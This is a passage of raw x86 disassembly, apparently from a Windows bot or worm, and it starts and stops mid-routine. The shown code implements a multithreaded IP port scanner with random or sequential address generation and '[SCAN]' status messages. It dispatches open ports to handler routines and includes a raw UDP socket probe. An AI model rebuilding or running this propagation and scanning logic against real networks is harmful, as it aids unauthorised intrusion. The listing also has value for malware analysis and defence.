[esp+7A0h+var_4], 8 call sub_4017EE push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx call near ptr 77C3FA76h nop add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017EE push eax call near ptr 77C47660h nop add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423396 ; --------------------------------------------------------------------------- loc_423267: ; CODE XREF: sub_422B40+688j push offset dword_4455FC mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset off_4455F8 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset aB ; " -b" mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4232A5: ; CODE XREF: sub_422B40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 loc_4232BD: ; CODE XREF: sub_422B40+132j mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_4232C4: ; CODE XREF: sub_422B40+735j ; sub_422B40+745j ... mov ecx, dword_4D809D lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h call near ptr 71AB951Eh nop push offset off_4455F8 mov ecx, esi call sub_4013ED mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax nop call near ptr 71AB3F41h push eax lea eax, [esp+7A8h+var_770] push eax nop call near ptr 77C47A90h add esp, 0Ch mov ecx, esi push offset dword_4455FC call sub_4013ED test eax, eax jz short loc_42338B push offset off_4455F8 mov ecx, esi call sub_4013ED mov ebp, dword_511A9C mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp add esp, 8 xor bl, bl test edi, edi jle short loc_42337E loc_423362: ; CODE XREF: sub_422B40+83Cj test eax, eax jz short loc_42337E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423362 loc_42337E: ; CODE XREF: sub_422B40+820j ; sub_422B40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423396 ; --------------------------------------------------------------------------- loc_42338B: ; CODE XREF: sub_422B40+7F1j mov [esp+7A0h+var_630], 0 loc_423396: ; CODE XREF: sub_422B40+722j ; sub_422B40+849j mov edx, dword_4D809D xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017EE push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx nop call near ptr 77C3FA76h mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4233F8 mov eax, offset aSequential ; "sequential" loc_4233F8: ; CODE XREF: sub_422B40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:445412h[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BEA add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402284 mov al, 1 jmp loc_422F3B sub_422B40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4236F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_448F40 mov ecx, offset dword_449968 setnz bl call sub_4014DD push eax push ebx push ebx push offset byte_4D8085 call sub_401857 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_445438[eax*4] inc ecx mov dword_445438[eax*4], ecx mov al, 1 retn sub_4236F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401E10j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h call near ptr 71AB951Eh nop mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50FAB8 nop call near ptr word_5F67AE mov eax, offset dword_50FAB8 add esp, 2Ch retn sub_423760 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423820 proc near ; CODE XREF: sub_401F55j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50DB60[esi*8] push eax call near ptr 71AB2BC0h nop inc eax push eax nop call near ptr 71AB2BC0h mov dword_50DB60[esi*8], eax pop esi retn sub_423820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423860 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423892 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423892: ; CODE XREF: sub_423860+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_511AC8 add esp, 18h cmp eax, ebx jnz short loc_4238CA call esi mov [esp+1Ch+var_8], eax loc_4238CA: ; CODE XREF: sub_423860+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4238D6 call esi mov [esp+1Ch+var_C], eax loc_4238D6: ; CODE XREF: sub_423860+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4238E2 call esi mov [esp+1Ch+var_10], eax loc_4238E2: ; CODE XREF: sub_423860+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4238EC call esi loc_4238EC: ; CODE XREF: sub_423860+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50DB60[ecx*8], eax pop ebx add esp, 10h retn sub_423860 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423950 proc near ; CODE XREF: sub_401E56j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42397E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42397E: ; CODE XREF: sub_423950+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax nop call near ptr 71AB2B66h lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi call near ptr 71AB2DC0h nop push esi mov edi, eax nop call near ptr 71AB9639h xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423950 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423A40: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_437B30 push ebx push ebp mov ebp, dword_511C38 push esi push edi push 2649h call ebp mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A37 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423B69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423C68 ; --------------------------------------------------------------------------- loc_423B69: ; CODE XREF: ___:00423B5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423BC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call near ptr word_5F67AE lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423BC2: ; CODE XREF: ___:00423B87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423C13 mov edi, dword_511C64 loc_423BEA: ; CODE XREF: ___:00423C11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi test eax, eax jl short loc_423C42 cmp [esp+0FEh], bp jnz short loc_423BEA loc_423C13: ; CODE XREF: ___:00423BE2j push esi nop call near ptr 71AB9639h cmp word ptr [esp+10Eh], 1 jnz short loc_423C63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C42: ; CODE XREF: ___:00423C07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C63: ; CODE XREF: ___:00423C23j push offset dword_4456F4 loc_423C68: ; CODE XREF: ___:00423B64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423D10: ; CODE XREF: ___:loc_401F41j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 call near ptr 27E0CD2h nop push eax nop call near ptr 77C371BCh lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:44AF9Bh[eax*4] mov eax, dword_44B19F[eax*4] mov ecx, dword_50DB64[eax*8] test ecx, ecx jz loc_423FBE mov ebx, dword_511C00 loc_423D8C: ; CODE XREF: ___:00423FB4j mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423DA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423DAF ; --------------------------------------------------------------------------- loc_423DA7: ; CODE XREF: ___:00423D96j call sub_401F55 add esp, 4 loc_423DAF: ; CODE XREF: ___:00423DA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_511C88 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx lea ecx, [esp+238h] push ecx push ebp call ebx mov edx, [esp+150h] mov eax, [esp+14Ch] push edx push eax push esi call sub_401E56 add esp, 2Ch cmp eax, 1 jnz loc_423F9A cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423EBF push offset dword_50FAA0 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423E9F mov al, [esp+0A8h] test al, al jz short loc_423E7A mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423E97 ; --------------------------------------------------------------------------- loc_423E7A: ; CODE XREF: ___:00423E56j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423E97: ; CODE XREF: ___:00423E78j call sub_40152D add esp, 10h loc_423E9F: ; CODE XREF: ___:00423E4Bj lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50FAA0 nop call near ptr 7C9010EDh jmp loc_423F9A ; --------------------------------------------------------------------------- loc_423EBF: ; CODE XREF: ___:00423E13j push esi call edi push eax lea eax, [esp+16Ch] push eax call ebx mov eax, [esp+150h] lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+200h] lea edx, ds:445408h[ecx*4] push edx push eax call ebx mov al, [esp+0B8h] add esp, 10h test al, al jz short loc_423F0C lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423F19 ; --------------------------------------------------------------------------- loc_423F0C: ; CODE XREF: ___:00423EF8j lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423F19: ; CODE XREF: ___:00423F0Aj call ebx mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_445434[edx*4] add esp, 0BCh loc_423F9A: ; CODE XREF: ___:00423E05j ; ___:00423EBAj push 7D0h call near ptr 2831CE8h nop mov eax, [ebp+204h] mov ecx, dword_50DB64[eax*8] test ecx, ecx jnz loc_423D8C mov esi, [esp+10h] loc_423FBE: ; CODE XREF: ___:00423D80j push esi call sub_401E3D add esp, 4 push 0 nop call near ptr 2840000h nop ; --------------------------------------------------------------------------- db 0B0h dup(0CCh) ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_402284j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50DB60[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_40148D add esp, 150h cmp eax, ebx jnz short loc_424101 push offset dword_50FAA0 nop call near ptr 2780765h push offset dword_50FAA0 nop call near ptr 2790000h loc_424101: ; CODE XREF: ___:004240E9j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_5118D8 mov esi, ebx mov dword_50DB64[edx*8], ebx cmp eax, ebx mov ebx, dword_511C00 jb loc_424230 mov edi, dword_51186C loc_424132: ; CODE XREF: ___:0042422Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BEA lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F41 push 0 push 0 mov dword_44B19F[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_44B1AF[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_44B1AF[eax*4] test ecx, ecx jz short loc_4241F8 mov eax, [esp+158h] test eax, eax jnz short loc_42421E loc_4241E7: ; CODE XREF: ___:004241F4j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_4241E7 jmp short loc_42421E ; --------------------------------------------------------------------------- loc_4241F8: ; CODE XREF: ___:004241DAj nop call near ptr 27C08B7h push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42421E: ; CODE XREF: ___:004241E5j ; ___:004241F6j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424132 loc_424230: ; CODE XREF: ___:00424126j mov eax, [esp+12Ch] test eax, eax jz short loc_42425E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_424291 ; --------------------------------------------------------------------------- loc_42425E: ; CODE XREF: ___:00424239j mov ecx, [esp+130h] mov esi, 1 cmp dword_50DB64[ecx*8], esi jnz short loc_424291 loc_424273: ; CODE XREF: ___:00424288j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50DB64[edx*8], esi jz short loc_424273 mov eax, [esp+12Ch] loc_424291: ; CODE XREF: ___:0042425Cj ; ___:00424271j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50DB60[ecx*8] push ecx call near ptr 71AB3F41h nop push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_4242F2 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_40152D add esp, 10h loc_4242F2: ; CODE XREF: ___:004242CBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50DB64[eax*8], 0 call ebp push 3 call sub_40148D add esp, 4 cmp eax, esi jnz short loc_424334 push offset dword_50FAA0 nop call near ptr 2780765h loc_424334: ; CODE XREF: ___:00424327j mov ecx, [esp+130h] push ecx call sub_401E3D add esp, 4 push 0 call near ptr 2840000h nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424410 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424410 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424430: ; CODE XREF: ___:004015EBj mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401843 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424480 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_4244D2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4244D2: ; CODE XREF: sub_424480+16j mov eax, ebx pop ebp pop ebx retn 8 sub_424480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4021F8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424574 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424500 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245A0 proc near ; CODE XREF: sub_4016C2j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4245B3 push eax call near ptr 77C2C21Bh nop add esp, 4 loc_4245B3: ; CODE XREF: sub_4245A0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4245A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245E0 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_4245F7 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4245F7: ; CODE XREF: sub_4245E0+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424625 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424625: ; CODE XREF: sub_4245E0+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424654 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42466F ; --------------------------------------------------------------------------- loc_424654: ; CODE XREF: sub_4245E0+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42466F: ; CODE XREF: sub_4245E0+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_4245E0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_401B7Cj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_448F44 lea ecx, [esp+20h+var_8] call sub_4021F8 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424715 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424715: ; CODE XREF: sub_4246D0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016C2 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016C2 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4246D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4247B0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4247B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_402054j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push 